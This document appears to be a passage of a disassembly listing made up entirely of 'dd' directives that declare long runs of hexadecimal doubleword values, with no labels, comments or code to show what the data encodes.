		dd 6C97EA80h, 0A8BD4B57h, 0FA330874h, 0AE92F3E2h, 89A12F6h
		dd 5587062Bh, 592540FAh, 0B816F65Fh, 5D4A5720h,	15E60E0h
		dd 35054671h, 0C9414ACBh, 0B110DC48h, 68743B27h, 971450FBh
		dd 0C94E6159h, 0DAA6C902h, 2BF7D24h, 21F20980h,	0E960CF81h
		dd 0CD35DA0h, 8869205h,	0F4E07982h, 0D249A8h, 613D3B24h
		dd 200CF269h, 0DEBD35ABh, 2180DA95h, 639644A9h,	68408D90h
		dd 94A0FBBh, 0FC442330h, 0BA9794C4h, 4CC133B0h,	730F2479h
		dd 0FD93CF89h, 38DC026Ah, 0DC5DEF21h, 60851F23h, 207E6813h
		dd 0E93C68ABh, 0DAFDF05Fh, 0C2BAF10Eh, 99B02Ah,	6BA706A4h
		dd 224A60E9h, 81FE73h, 0CDC2B290h, 1AEEE956h, 988B64B5h
		dd 57B7602Dh, 0F46091EFh, 6087165Eh, 0CD0C5D30h, 0DE7FC20h
		dd 368028D1h, 0BB5420B6h, 24B6B93Fh, 0FB2F3B01h, 92D7A71Ch
		dd 0C14FDD62h, 4453B193h, 5C13DAAh, 0CDD607CEh,	0EF2CE438h
		dd 13EA2834h, 6BCAEE6Ch, 0D83EF505h, 0BF910047h, 513B4A12h
		dd 7827BAC1h, 0B57F72F7h, 0D3873EA3h, 6800D644h, 7A9D259Eh
		dd 54FA585Fh, 84006674h, 0D530564h, 893A78B9h, 3AFD8028h
		dd 7D2555CAh, 6A59030Bh, 490A792Dh, 2E38E9A9h, 0FEBF4D00h
		dd 5F293A5Fh, 9133BA4Fh, 0A448D9F7h, 61ED9830h,	0F1802EA6h
		dd 0E0C1CC1Dh, 2A842EE1h, 0E493A2AFh, 698F91C2h, 0E8C8C507h
		dd 93B1BB50h, 32D8EB2Dh, 69A79D95h, 0EF5472C2h,	0D46EA077h
		dd 0BA557241h, 22F0306Eh, 3A13EA79h, 5D251613h,	0F4C574BFh
		dd 0DA9D0535h, 0E8E924DAh, 988DAA5Dh, 589F2483h, 0DA210BA6h
		dd 3B8510E8h, 0F330792Dh, 80250058h, 2D224C01h,	0B1485A0Ah
		dd 51C8D63h, 0A90B4441h, 58E52935h, 6D1BC82Fh, 4896697h
		dd 77162041h, 1F8EBF5Dh, 8F250C5Ah, 0B20052DFh,	39E280C7h
		dd 129DB353h, 8403E3C0h, 5404FA26h, 6609B7F2h, 54D532FDh
		dd 9E194398h, 65ED8500h, 0C1273B30h, 26067EE5h,	89CAAFA5h
		dd 53A15EF3h, 2857FF68h, 7C02C9F0h, 64FFEBB8h, 20DD31CBh
		dd 7370B21Fh, 2EFDD367h, 0FC91AE92h, 0B823AA4Ch, 7B8FAC5Ah
		dd 9AA06120h, 0D9C30B6Fh, 0D258CC13h, 1C3043E0h, 0B3C40C6Bh
		dd 68170BE1h, 0C666624Ch, 13989520h, 4966CDFEh,	0E0A52892h
		dd 2AC5EAC7h, 2B8E79AAh, 0ABA5E9B2h, 9567322Ch,	0E0367809h
		dd 0C55E97Dh, 98256084h, 30DC6BDh, 7705DCB9h, 0A8F15209h
		dd 2A2BA86Ch, 0BBF6314Fh, 8E04874Ch, 152D041h, 33B444D3h
		dd 180B0CBEh, 4F7809E8h, 910CA84Fh, 41FA5657h, 7D713B59h
		dd 24068ADCh, 663A2525h, 2D7832DAh, 52F7E829h, 34B5177Bh
		dd 538FE030h, 0C02FA441h, 4340A3E7h, 7EFF557Ch,	76B7BB12h
		dd 0E9B0075Ch, 27B479AAh, 9C59E95Bh, 85A3272Bh,	8991BBD5h
		dd 0D1E101C5h, 0C405A25h, 604E15F6h, 5AE60C48h,	55800485h
		dd 29C02813h, 0ACA42CCFh
		dd 0DD8901DDh, 89DB82E9h, 0AF9D8E69h, 1727613Ah, 8AEC4D73h
		dd 69A3BF7Ch, 224CF031h, 282C7D05h, 836962BAh, 0F84261ADh
		dd 61F58166h, 23E90D65h, 34BB506Bh, 0C54B88A3h,	9D0E0846h
		dd 9054A35Dh, 0B0584360h, 4F513190h, 0D8F5C2D5h, 0CCF6C031h
		dd 54AAA34Fh, 842028A6h, 648D2951h, 50EA8E1Eh, 46E91549h
		dd 51522DF4h, 0EAE9613Bh, 0F631021Bh, 0E28A432Fh, 0AAC142Ch
		dd 57AD0C09h, 1475799Ah, 60A290D0h, 30B8CD65h, 3D5A8F28h
		dd 9A3C0CEDh, 2A91B3DBh, 501E998h, 68807D99h, 4E30920Dh
		dd 1F407639h, 0EF611A9Dh, 7670A0F0h, 6F31F49Fh,	92E82D7Fh
		dd 301840F2h, 6EC4132h,	0DE122EB4h, 0EFACBF08h,	0A04578F7h
		dd 9B95180h, 4C135FAAh,	8C96688Eh, 329CCCFEh, 977E0924h
		dd 32E9A398h, 0B9054F92h, 6C755ED4h, 0C50E82h, 111667BDh
		dd 3D13E4Ch, 53905B08h,	0CD5C02D1h, 35807509h, 0A71AE30Fh
		dd 530C0513h, 90DA3DCh,	8F79C083h, 0EE06D9Eh, 2DD00159h
		dd 19D71262h, 0D9EF06C0h, 0D82E5881h, 0EB3280F4h, 0FF060672h
		dd 7EB6170h, 0FF0966B5h, 0CAF7676h, 6956F758h, 0DBA06376h
		dd 40A95FA6h, 0E4F28281h, 6A649C1Bh, 58070432h,	0F7BFC1BFh
		dd 7E04A8DAh, 0B81E6354h, 0BC44030Fh, 9087A476h, 11003799h
		dd 0C4AD39D8h, 728ACCh,	0B13C02BFh, 0FE892466h,	22AC13E6h
		dd 2F5DC370h, 0DD918569h, 12EDF2EAh, 4040CB76h,	1EB604A0h
		dd 7DAD029h, 5E8ACC4Bh,	0C494D99Dh, 0AEA7AA8Fh,	0BD8CE90Ch
		dd 729D056Ah, 3F77915Eh, 2AA4A929h, 614FA08Ch, 6D0E2474h
		dd 0C7283C58h, 5083C308h, 0DBAFE954h, 757A8176h, 31E2B173h
		dd 99E866CBh, 30E40BBFh, 30C99179h, 2D525019h, 0E0665355h
		dd 545BDD25h, 0AD093F8h, 0A8BAC6F3h, 0D4A17FDh,	10E4A902h
		dd 593F2438h, 8A2EAE4Fh, 21F18113h, 0ACA4E920h,	711985FDh
		dd 63DAAE06h, 1D93F159h, 0E46A7F35h, 76021E22h,	895518D9h
		dd 54E25FD5h, 76C27074h, 52ED565Fh, 195DE842h, 272C8953h
		dd 5DFB2Fh, 0D06AA3E1h,	3CBD0F0Ah, 0AB53A2DBh, 96E94520h
		dd 8649DB27h, 454A33B8h, 7D14E4C1h, 0D68E521Ah,	0D2901C9h
		dd 4746CD68h, 0C5DE230h, 344D8369h, 0AECC0152h,	0F4D23EA0h
		dd 82516814h, 77F82F2Bh, 2C5C6813h, 0CC1052A3h,	2AE90B57h
		dd 0DE82FAECh, 0A40B8FFFh, 715ED65Eh, 36645FDh,	99AE035Ah
		dd 4111444Bh, 2386B00Bh, 0E96700A8h, 55B78FECh,	0B5E0B674h
		dd 83A4B47Ah, 5C76DE0Ch, 9A16F0F3h, 0A1B37F2Dh,	3754C000h
		dd 5BB7E92Bh, 644F92B9h, 0F2F4A473h, 68E10FCDh,	169D2725h
		dd 0B38EFBC8h, 1CCA9818h, 60B022Dh, 0DF5D5B3Ah,	0D255296Ah
		dd 99A425BFh, 5BD69475h, 0BE4B070Dh, 28631341h,	42F9CA06h
		dd 100C7491h, 30A3D67h,	863B43CEh, 26187D50h, 0FD9AB75h
		dd 0FE8031EEh, 0DB1DE965h, 420E5C95h, 0B35D4B33h, 658D199h
		dd 5D328363h, 47D42195h, 5FE9C158h, 0F108B80Ah,	416A0D8Ch
		dd 7F1C505Ah, 0EEB2EC43h, 4609CAA4h, 74429806h,	0DBAC3395h
		dd 2BC844D1h, 0CA38FEA1h, 4B4BAC97h, 12A539B8h,	0F643AF3Ah
		dd 5EE3FBE9h, 0EF46AAE0h, 381098F7h, 0ECCF1368h, 7080B449h
		dd 17697286h, 2CF0168h,	0EC7E6391h, 5031CD83h, 0C4872741h
		dd 7F48A421h, 0CE693920h, 1B1F7E8Ch, 40434563h,	0EEB855Eh
		dd 869C14Ah, 4C8A3C80h,	62B573F1h, 0CF480h, 59BD5E0Bh
		dd 93192F05h, 1D763117h, 9402377Ah, 6F0AB116h, 96E6BB01h
		dd 1221E82Bh, 0B88B77DAh, 1CF4657Fh, 0C00CF0D1h, 867807E1h
		dd 8DAF634h, 363F92FAh,	9D31D455h, 0EACEBF48h, 3DC57644h
		dd 990C74ABh, 0C7672454h, 0DC60273Eh, 400748E5h, 25A8808h
		dd 0B17EE7E1h, 75987E33h, 5A1840AAh, 0D55C19CBh, 0E92A7864h
		dd 83BCDC1Bh, 0DE72CAE9h, 0D1620404h, 40050009h, 2F2F1557h
		dd 5AC1E8C1h, 309FC54Ah, 7613ED0Dh, 20405379h, 3F8F2562h
		dd 0A70935E9h, 0BF99EA66h, 9582CFF0h, 4071404Ah, 28DDEB00h
		dd 96290EBBh, 990820FCh, 0E9556150h, 0A8F53E1Eh, 8101776Ch
		dd 4138E7CBh, 0D64DFC34h, 0F690EA95h, 0B3BC13A2h, 0E0FF50D1h
		dd 0BC935C97h, 0A30BBB17h, 4F514FDh, 64428618h,	4D60B7C5h
		dd 0A186FC7h, 0FD0C67D0h, 76732879h, 17C97D8Dh,	0E40174BBh
		dd 671BD7E7h, 0C7126CCDh, 0C83708BAh, 0E2CC0A94h, 0D7BF7357h
		dd 893CFBE7h, 0C1A344D9h, 4362E37Ch, 612A5C36h,	0C13B2147h
		dd 3B069C8Dh, 8184AEB2h, 2ABA1755h, 0B50860EEh,	64ED806Bh
		dd 0FEF00654h, 0BBF0B13h, 4894D531h, 42AF6391h,	0B107806Bh
		dd 9D013418h, 0E74B6848h, 89FECB2Dh, 29EE5FD3h,	0D907A90h
		dd 789AAB20h, 725F53h, 0DCF65A00h, 9570EC80h, 4258E62Ch
		dd 0EE33E713h, 26302D59h, 0B6521C03h, 20F588F9h, 215A5595h
		dd 0F8E1C7D1h, 5B795C34h, 0FB8ACD28h, 6DF5A182h, 6930C13h
		dd 0B70FEDF9h, 6428A314h, 61FB9544h, 28777D0Fh,	39C8CCCBh
		dd 5FD6EC57h, 0AA9E2CCDh, 9D8C205Fh, 537F4043h,	95D3F298h
		dd 91EEE912h, 87731757h, 0EE6EF58Fh, 28B254D7h,	0FCE578Dh
		dd 0F227D495h, 68120458h, 7FCC53A1h, 0FCFC5F9Eh, 90EED78Fh
		dd 7C29BE1Fh, 36B04075h, 7F57550Eh, 0EBF6C06Eh,	90C3C9F9h
		dd 5DD40286h, 0EE09278Dh, 49FDCE01h, 182B13D9h,	0BA63C9Eh
		dd 0C40BA34h, 7CF6088Ch, 20B82D9Fh, 2DCA9F20h, 75957011h
		dd 0C04AA32h, 0AB61AB5Eh, 146DD7E9h, 3E35C202h,	2BF865A1h
		dd 3808EA51h, 0B4A2D6AAh, 16C8AFD7h, 0A23B4FBDh, 95781339h
		dd 15418BABh, 11EA602Dh, 0B44043E1h, 0AAA94AB7h, 75B03EC2h
		dd 0CFFEC140h, 6E1FE913h, 0B0F83F35h, 31614830h, 0DEB75DEBh
		dd 4DE1051Ch, 0F86EC11Eh, 0FFB2205Fh, 9FC5C25Eh, 0C7F8C3FBh
		dd 6A1DC3B9h, 37CE95B3h, 0C5047B50h, 92650147h,	55DCDC0h
		dd 0C9C70238h, 0AA69E9C6h, 708D02D1h, 2A80A33Fh, 9721EFBAh
		dd 0AFA04253h, 872D3CF7h, 2E29DDF6h, 485C2709h,	95187527h
		dd 7FC7D697h, 4BD2A9E5h, 7C64D51Dh, 0DEF7FB38h,	805A69F9h
		dd 56C9E937h, 0E81C4BD2h, 6FD31CCh, 0E906A9EFh,	14A1CD03h
		dd 0D1B27EE1h, 303A2748h, 13581267h, 4E16B2Dh, 0DED49A0Dh
		dd 2038F518h, 18CC948Bh, 130D32BEh, 0F2F22106h,	0E2819DEAh
		dd 18066FDCh, 0BF65A07Eh, 136E5B02h, 5DD7DDE9h,	80108C91h
		dd 42DCBEF7h, 954E1FECh, 6E63082h, 7858B442h, 0E00CBF07h
		dd 0F1A2621Ah, 425B7939h, 69FE9514h, 10BFC8C9h,	0FC7CBDE5h
		dd 0E8AB5E64h, 91E984CAh, 13EDEB9h, 9F07F25Eh, 2834BF07h
		dd 72EFC54Fh, 0B352D781h, 2DBE72Fh, 0EA8094B2h,	0E4E97EB4h
		dd 9586040Ch, 2C681E8Ch, 0C7AE576Fh, 13CF9C34h,	109F094h
		dd 2BAA80DDh, 953D7D5Fh, 80151275h, 5945D672h, 0FE509F0Dh
		dd 780EE10Eh, 0F801327Ch, 5F496DE9h, 5A9A8F20h,	1734B828h
		dd 9E4992Bh, 0EF860947h, 0BEF489F2h, 0AB0C9883h, 0FB4C0321h
		dd 0C139496Ah, 120B06B3h, 57EA18B6h, 1CCDE280h,	62BD7E94h
		dd 0D8706A3Ah, 123E9D55h, 6AAE94Fh, 74EF299Ah, 44AD094Eh
		dd 643D05D6h, 715897B4h, 93C8295Ah, 0FEA43916h,	20936044h
		dd 0FB71B62Dh, 6573267Fh, 45DDC2E1h, 0F780872Dh, 0ECF8045Fh
		dd 63E08D33h, 0C04866Fh, 0A84AB42Ch, 0CCFE0Bh, 0E530FDAAh
		dd 98517958h, 860162B8h, 8A09D3E3h, 0B40AC5E1h,	7169EDE2h
		dd 92E650B6h, 4484B2B4h, 0F4C0320Fh, 2A6106C9h,	2FBA6F19h
		dd 9D277AE9h, 9A52A0EAh
		dd 4AF85671h, 4A7BA559h, 4E061DBDh, 8C55327Ch, 2D5BA440h
		dd 1841EA88h, 0F20684FFh, 0C282CAFEh, 0A4CF90E4h, 27FD1F58h
		dd 0E8291241h, 17E84AD6h, 0AE21BFB5h, 188B4912h, 9D84C35Ch
		dd 0A4B6AA92h, 4F518F4Fh, 0A16C054Bh, 43FA6893h, 8D4C8123h
		dd 0E320E704h, 7EC532h,	2170CD3Bh, 0F29019E1h, 9DFDFC4Ch
		dd 13C908CEh, 1247CBABh, 5BAC9236h, 1A5F81F7h, 0CECD403Bh
		dd 181AF61Bh, 0C029F2E9h, 1268962Ah, 0AB015AE7h, 0D0E15DCDh
		dd 68CA0F32h, 295F0918h, 0FDE94E48h, 8BB2CE4Bh,	38A93558h
		dd 0B84D0B3Eh, 517D5013h, 0BC3A08EAh, 0CC08696Bh, 49282DDAh
		dd 0BA276746h, 0D4125D91h, 0F1F5C87Dh, 98A3026Ch, 628FE99Fh
		dd 2AB4A2FFh, 627DF637h, 7B517C5Ah, 0E807592Dh,	2CAD40A5h
		dd 0E68019F1h, 0F320439h, 0F8446068h, 0AE8BC44Eh, 0FDB0B00h
		dd 9B73C85h, 225B5583h,	788B22E9h, 0C11A2243h, 2F4F5652h
		dd 792A47E1h, 88DD6EBBh, 4AB3CB6Bh, 0DE69262Ch,	54F2C3A5h
		dd 1912A72h, 5193F4D5h,	0A106C4BFh, 2B81864Ah, 739A4E1h
		dd 3BE307Dh, 0C359AEFCh, 48A8006Fh, 0EE811B2Fh,	4A2C2CC0h
		dd 0ADCEBEE0h, 0F2FBE4EBh, 0D23D52E4h, 826D9BFh, 0E9FE5724h
		dd 44D71B27h, 0EC9620D0h, 82F3892Ch, 3E4AFA39h,	815D6A80h
		dd 727916E6h, 6FB304ACh, 0C4E2A8D4h, 0F340A58Ch, 70B869C4h
		dd 844BDBF6h, 0D8EE7875h, 584B86C2h, 0C3A769ACh, 0CB2C898Eh
		dd 9D0351E0h, 3B55EB5Ch, 7C18DFC4h, 46880C62h, 58C8985Ch
		dd 49A85FECh, 3A06E9E1h, 8276B8ADh, 66C69B60h, 0B312D026h
		dd 5EB0BD02h, 0BD7DC98h, 62F760E9h, 16860943h, 9734B014h
		dd 38BBB2C0h, 7AE24158h, 4FE17759h, 0E36E13A1h,	559576CCh
		dd 50525C94h, 861650D2h, 30A641h, 0BA5CD68Fh, 316851DCh
		dd 0ED270E02h, 3C472F1h, 2A051CF2h, 6AD5E260h, 0FA365C2Dh
		dd 0A06571D5h, 418841BAh, 32DFC03Eh, 0F4ED9EDCh, 0C8E045BEh
		dd 0CD4055A0h, 53D00431h, 0F828EE68h, 784DC035h, 0E45E5039h
		dd 27173DB8h, 0E64226h,	46707959h, 0E61DF581h, 0E98BCE0Ch
		dd 0B55650E1h, 5904D0D3h, 8EBF3C87h, 341100ACh,	0D1E90248h
		dd 9AF0B269h, 0E02BE991h, 8B4C62D2h, 61A881DFh,	803B6383h
		dd 1EF24F4Ah, 6A01E3ECh, 0E9439673h, 24346B7Ch,	0A6ED3080h
		dd 0EE880306h, 0D8406FB0h, 0B53616B0h, 502BCBEh, 4C865166h
		dd 0D1F600C1h, 7EE90640h, 4CED2B9h, 0AEEBA4Ah, 0D6EEEC5Fh
		dd 2256A061h, 0CC3B8205h, 6A1C3BC6h, 8182ED3Eh,	763107EBh
		dd 80260B66h, 0C89FE5C4h, 0DD9CF13Eh, 8C1F8B6Bh, 0D381BC5Ch
		dd 5D183167h, 4A88221h,	372309AEh, 68D86086h, 25D2F4B7h
		dd 0ECBF39E5h, 0EEC87164h, 2FF0926Bh, 4FDE6FB7h, 0F6A4E703h
		dd 0C1EFA9DFh, 0E06DC4E0h, 0EB96B8FCh, 1EF4A940h, 28AB02B2h
		dd 9146E9E2h, 0A7C5D95Dh, 8A0062FEh, 817BB769h,	6ADC0BE9h
		dd 54003D64h, 212223B2h, 0EF825DB2h, 698D6AC0h,	4A8B149Eh
		dd 0E47A3058h, 0C0BB80ECh, 764F4617h, 48316CB8h, 68D329D7h
		dd 0D102090Ah, 0B40600EBh, 905B710h, 0B6D7E951h, 1524CF5h
		dd 544ABE56h, 84525D01h, 5827B1B0h, 96B386FFh, 3B008D8h
		dd 0DCA6148Ch, 3104D089h, 0E86DE9D6h, 0D488033Fh, 0D296B35Ah
		dd 9E5850h, 0BA244DB8h,	6E0C161h, 818D54B7h, 3E5D67B9h
		dd 4A26603Fh, 0D0ED3A3Ch, 3B28E5E0h, 0D8648486h, 7AA205ADh
		dd 0B640DB16h, 0BCB5165Eh, 1752B135h, 0A88421B9h, 85891F2Ah
		dd 9503F42Fh, 7F1A9DC3h, 0B15C30BEh, 4556500Fh,	33319818h
		dd 2681B22Ah, 127D42BDh, 0F0882158h, 0A99F6B5Bh, 55B3C269h
		dd 81A850C7h, 0AD17AD4Fh, 2F657DEAh, 6C9FBB41h,	907042ABh
		dd 6D60026Ah, 0E2ECE93Dh, 0BF2BE4D5h, 0E9C1BED1h, 6182935Fh
		dd 0EB9FFBC6h, 2F3FE9C0h, 0B4F2494h, 99C5E368h,	54C9D22Ch
		dd 81FC7A45h, 0C6AD2AA9h, 7938F2D4h, 0E4CEFC5Bh, 0DD019212h
		dd 3D7013A3h, 20155B4Ah, 0D39E205Eh, 843C50F4h,	3F331803h
		dd 0C4B4010Dh, 0DA084225h, 0B3895D5Bh, 4C2FEE2h, 48FE3F5h
		dd 472E6D28h, 0B8968269h, 6F7155h, 1F2822F2h, 5909E581h
		dd 262CE5Dh, 6413AE40h,	0A48585D9h, 45AA02FAh, 0CA638A3Bh
		dd 27A7558h, 0F47DDE54h, 0D8247521h, 4B0E13D8h,	0ED29D865h
		dd 0AC741E5Dh, 0C097D232h, 3E685CCEh, 0C10889B1h, 4F3831D6h
		dd 0D5CA06DCh, 8933F681h, 0AE9DF7F6h, 5C1347A0h, 73168762h
		dd 0BA3FCC08h, 7DDCC2B7h, 0D3645751h, 4A5527B4h, 5B4AE738h
		dd 2B6829FEh, 17C521A7h, 6F41B39Ah, 11DF664Eh, 3F050916h
		dd 68025022h, 0A57A9607h, 5341AD0Ah, 0F402F509h, 0F84D0672h
		dd 7A5C2FF8h, 0FB786A09h, 13B9D04Ch, 0EB5035C1h, 0DA015128h
		dd 0F52723D4h, 8B7F261Bh, 1113B4Dh, 0BA6CA81h, 70836F94h
		dd 45EE12B3h, 79CFC806h, 3A0C01F1h, 0CCC3E53h, 0E61B2A16h
		dd 0D5731382h, 4AC31F55h, 5C183CEFh, 0A4E2FA9Ch, 0A32E7F09h
		dd 7C5C27E9h, 0D2421D21h, 40CFA20Ch, 1E735D8Bh,	89A7F2Fh
		dd 62DBDC55h, 13548BCAh, 144C3D0Ch, 54F0068h, 0C15F182Dh
		dd 419807E7h, 3E54CD0Ch, 13D40C25h, 0C0D3031Bh,	693CE995h
		dd 0D17133BFh, 4F837CD4h, 0F88205Eh, 0FEE5C5D3h, 0F92E0A39h
		dd 0FDE9D6FFh, 0FA63F213h, 9CFE1734h, 0B84AA2A8h, 689A9CEAh
		dd 23555731h, 5902DDDAh, 7625D0DDh, 45F697CBh, 7CC5EB6Eh
		dd 149A832Bh, 0C9D14348h, 3A1D219Ch, 0EE279FE0h, 0E9910942h
		dd 0EE48D54Eh, 7306318Dh, 89F2814Ah, 0ABE2970Dh, 2645ECF7h
		dd 0AFA423AEh, 0C7A6358h, 772CD637h, 2B4EB760h,	0D0F9FE50h
		dd 0D36B086Eh, 4942B15Eh, 60E75C25h, 55C44650h,	0FB00587Ch
		dd 54ADC29h, 10AE67C7h,	6E2D4803h, 14EBA002h, 28311BB8h
		dd 9C358C6h, 50E17C34h,	22D74B80h, 18C06F19h, 39B4772Ah
		dd 0E9F21629h, 0BAEBC0E8h, 303D9F99h, 0A1B124DDh, 6CBDD9AFh
		dd 0AA2FE9FBh, 450F189Bh, 0F84A8178h, 0A5976C74h, 91BAEA85h
		dd 70FA2917h, 5CDD9A81h, 0B2DF0C0h, 9D664119h, 0E98FFEE5h
		dd 71FE3261h, 8255FD29h, 0CE1E9F50h, 496A7173h,	8F7A2057h
		dd 2DBB0E71h, 0E4D3FD89h, 7840ED01h, 0B3701627h, 88899F54h
		dd 0B0BFBEF5h, 17C92E95h, 0E6810E5Dh, 2E0F1FA0h, 0D69A31E9h
		dd 504DBA04h, 1DC00CB4h, 5F69CDBFh, 1A8AC24Bh, 0D95FDEEAh
		dd 80DC9302h, 580EB8F4h, 95A8A16h, 70F37480h, 42A1041Ch
		dd 0F3D247E9h, 0DABBD701h, 0E94A617Ah, 0BD29DE7Ch, 0BA075705h
		dd 0BD0F872h, 51159168h, 0C9E889Ch, 5E25002Ch, 315359ADh
		dd 0B00B6FB0h, 5A58FC5Bh, 5688287Ch, 12C92425h,	3A52E1F5h
		dd 4610D89Ah, 16FA4B1Bh, 6598098Ah, 0B878C5F8h,	5BA04712h
		dd 6F4CE5AAh, 55C1F5ACh, 2F275F68h, 0A0541833h,	4BD6718h
		dd 0AA1D7A92h, 0E9048829h, 797EB827h, 0FE84C9CEh, 0EE3CD4DEh
		dd 413BB5C8h, 0D002409Dh, 765C0A02h, 5003002Fh,	5E3170B8h
		dd 73BE922Ch, 68FF1383h, 0FF93533Ch, 1D1D0665h,	505726DCh
		dd 0E99078BAh, 57914A25h, 0B56F3A9h, 573C1571h,	58054002h
		dd 6468502Ah, 18BF8F71h, 8070413Bh, 16059A35h, 0C2017DADh
		dd 47A5B316h, 2E37013Ah, 39083102h, 8EBF92EFh, 209C4B81h
		dd 6B53970Ch, 0AC50E924h, 4C83828Eh, 0DF4AFB2Bh, 9ED8ABAh
		dd 8008EEC1h, 0A202F258h, 0FC60905Eh, 48641251h, 7947FF21h
		dd 0CA30F7B1h, 27E9FE87h, 9655CF75h, 525A5257h,	9395E909h
		dd 9C484EC8h, 844312B7h
		dd 9AEA548Bh, 0C83308Ah, 0B7F4F8E9h, 35680DA2h,	0F768837Eh
		dd 0C179E98Bh, 53D84BEDh, 0EF00968Dh, 0B98EE064h, 4B61841Dh
		dd 0E0F0B857h, 9D8CC9E9h, 0F6ADF67Eh, 0C7AB4FF4h, 31C0B4E2h
		dd 5F81672Eh, 7D9BE47Ah, 2D7F7316h, 87E95191h, 0EAEC127Eh
		dd 42678129h, 3883E909h, 56D94CC9h, 0A181EDDDh,	46163BC7h
		dd 914BE8A6h, 6FEFBB3Ah, 0F8FDAD57h, 0ED08F04Ah, 1051F40h
		dd 658D498Eh, 3E422968h, 75CDF78Ch, 0F8E0BF18h,	0DB3B01CAh
		dd 2CE2035Ch, 1C23AC5Fh, 560392BCh, 246FAFDh, 1D9088Ah
		dd 691F9FEEh, 44C62921h, 0C081AA4h, 51B1E875h, 0CDD19DB9h
		dd 0C050E3Eh, 0CE296607h, 59088144h, 568C1E82h,	0AE56607Bh
		dd 0C3BAA59h, 80984A92h, 9713A09h, 58957E52h, 534E1F68h
		dd 41D9328Ch, 0A6736040h, 480E6652h, 24A74E13h,	0B5C4076Fh
		dd 0D7A9FD44h, 0F96F27A1h, 7FEE8515h, 0CB28E421h, 0CA501233h
		dd 0E7D9211h, 4FDC6866h, 8CC57F9Bh, 63FF02C2h, 0E3844EA8h
		dd 9BBDFF0h, 79882CADh,	0BA11A284h, 5C270C2Eh, 51007D44h
		dd 0C1050F28h, 30E908E7h, 0ED37986Eh, 0B63B679Dh, 0AEF50060h
		dd 0E937DF18h, 5BA25BA5h, 0F6F804FCh, 62285220h, 373B870Bh
		dd 490F2C01h, 0FBF26A13h, 0AD3D2D97h, 0B7DB4614h, 3D2C5359h
		dd 0D145700Bh, 2F6C828Fh, 0B1406555h, 50441FFh,	75C0E90Bh
		dd 0C6F088AAh, 88E799Dh, 572522DFh, 0BB492FECh,	0B9BE027Ch
		dd 4037A710h, 7F1C2998h, 2771E3B1h, 0CE05E432h,	8749D571h
		dd 0BF4DE57Dh, 2F39330h, 0EA414BD7h, 0F6F0838h,	49510601h
		dd 0F4E6E9A0h, 0A0EA729Ah, 1237C64Eh, 0F9F0AE3h, 2CED8036h
		dd 0EB967F05h, 8D4C6B5Ch, 4067EAC9h, 0B60A357Eh, 934EF26Ah
		dd 0B1545B00h, 0B709E944h, 4822FF4h, 764E3608h,	0FAA53E8Dh
		dd 488561E0h, 546D0D2Ch, 73488710h, 68048420h, 0D7C3F28h
		dd 0BEEBF9C1h, 3C086FECh, 0E9895953h, 14573597h, 0E7FEB7E0h
		dd 0DE5EF189h, 2DF26EEh, 1C986B17h, 75D1642h, 0A9CEFCD3h
		dd 0D3C570C0h, 4698E018h, 0B53B1EC0h, 2EE9E193h, 8B7CC7EFh
		dd 8F50D9F7h, 0A32B8E0Bh, 688A407Fh, 0BF33623Ah, 3B5A14C7h
		dd 6D1FC404h, 0CBAF01D0h, 61212FD6h, 81092CBBh,	740BBEC8h
		dd 928769B7h, 4094BA52h, 0D6319C63h, 0F46B2699h, 0D5260817h
		dd 2315E0Bh, 5B02788h, 0BD6CC25Ch, 61FC154Ah, 0DE86F05h
		dd 160464AAh, 0C094210Bh, 70C25195h, 50713A2Eh,	0CD6A83F8h
		dd 0A1357A17h, 17C8E8E4h, 9271D668h, 917793F4h,	8846B26h
		dd 0A31FD468h, 8C991043h, 8EC3800Bh, 99D56EF7h,	1FF10977h
		dd 0D078DD56h, 53EC1635h, 52861FDEh, 0E16E66D9h, 0C40832B5h
		dd 0D78D630Dh, 0D5E190BAh, 0FC77E53h, 0D1D08E80h, 0DA292EC4h
		dd 8B1021h, 852F26BFh, 0B57C014Dh, 8989E671h, 9E98F718h
		dd 0A02E67EDh, 0C3A0FC43h, 0A14E3709h, 820757Ch, 835EB1CCh
		dd 0C018E918h, 953C77B3h, 0E0126BDBh, 0B1D26C5h, 2BBE3644h
		dd 20C292FFh, 644F33D9h, 0BC112CCFh, 0F52C41Dh,	10A5B9B1h
		dd 8677B8C5h, 76675D57h, 9F01FE5Fh, 0AEBD6300h,	20273274h
		dd 0E6E46031h, 0D92E03C9h, 0FD3EE942h, 0E588900Eh, 4AD76F53h
		dd 78A7A314h, 4A042015h, 755D5427h, 4FA0FB14h, 0C1E1D106h
		dd 0D2B83B01h, 0F8E5D9CFh, 8B080102h, 0E357E069h, 85AD294Bh
		dd 0F44B514Dh, 0D24EEEBFh, 0FBD38BFh, 0C2D8AEABh, 7E78388Dh
		dd 9BF9FF6h, 2167FF72h,	774FCC89h, 0ECD9D9BBh, 0EA4A6A9Fh
		dd 73AFDA7Bh, 29EA4CD1h, 0A0479A40h, 3B5786FAh,	0EF270DEEh
		dd 1326AA76h, 1724400Eh, 682760FFh, 9BAC4F80h, 3920BEB0h
		dd 0F17D98A2h, 0C00B99C0h, 0EBA31D0Ch, 0F54B3149h, 1210B7F7h
		dd 1BB05B2Fh, 0F851B72Ah, 0B09DE68Bh, 62A9680Bh, 42FE3918h
		dd 0C4E4770Fh, 0F3EB6040h, 0E1768FC9h, 0B8774E7Bh, 63697695h
		dd 4510389Fh, 5A3B58CFh, 31934F70h, 87B62923h, 8E3C139h
		dd 2D07DF4Bh, 0A7749915h, 5DCC0D09h, 5325A464h,	8E2271B1h
		dd 251CCAD0h, 680942EFh, 8B30FD14h, 8723381h, 6414FC9Fh
		dd 5004EFF0h, 0B2074A78h, 0A0AC753Bh, 0F21268B3h, 0C0EFCE4Dh
		dd 95093DE1h, 0BAF4405Eh, 0C6BB2E47h, 709B0864h, 0DC46660Ch
		dd 0F60540E6h, 0E92B2404h, 8BBF585Fh, 4811515Fh, 97C420F5h
		dd 9EAFFA01h, 0E9E7618Eh, 0B26AB3A2h, 21E9A0ACh, 9551B786h
		dd 9BFF6025h, 0C131C002h, 70CF1E38h, 94D32CFDh,	8FAB1077h
		dd 80C3011Bh, 17A24DD3h, 5F6E1A75h, 79243B79h, 33D7531Ch
		dd 9962DD04h, 40166802h, 0EC63B456h, 0F2AB8515h, 0B85AD944h
		dd 0E043E56Fh, 0A924E9C1h, 7E6B0A94h, 1EDB2DA4h, 2C45582Dh
		dd 0C503B48Bh, 0DB4FE5Bh, 0C4EF5BD1h, 17910025h, 29CEEDE5h
		dd 5B0983B6h, 0CB8D566h, 6FB0B70Fh, 5722F32Ah, 806DE916h
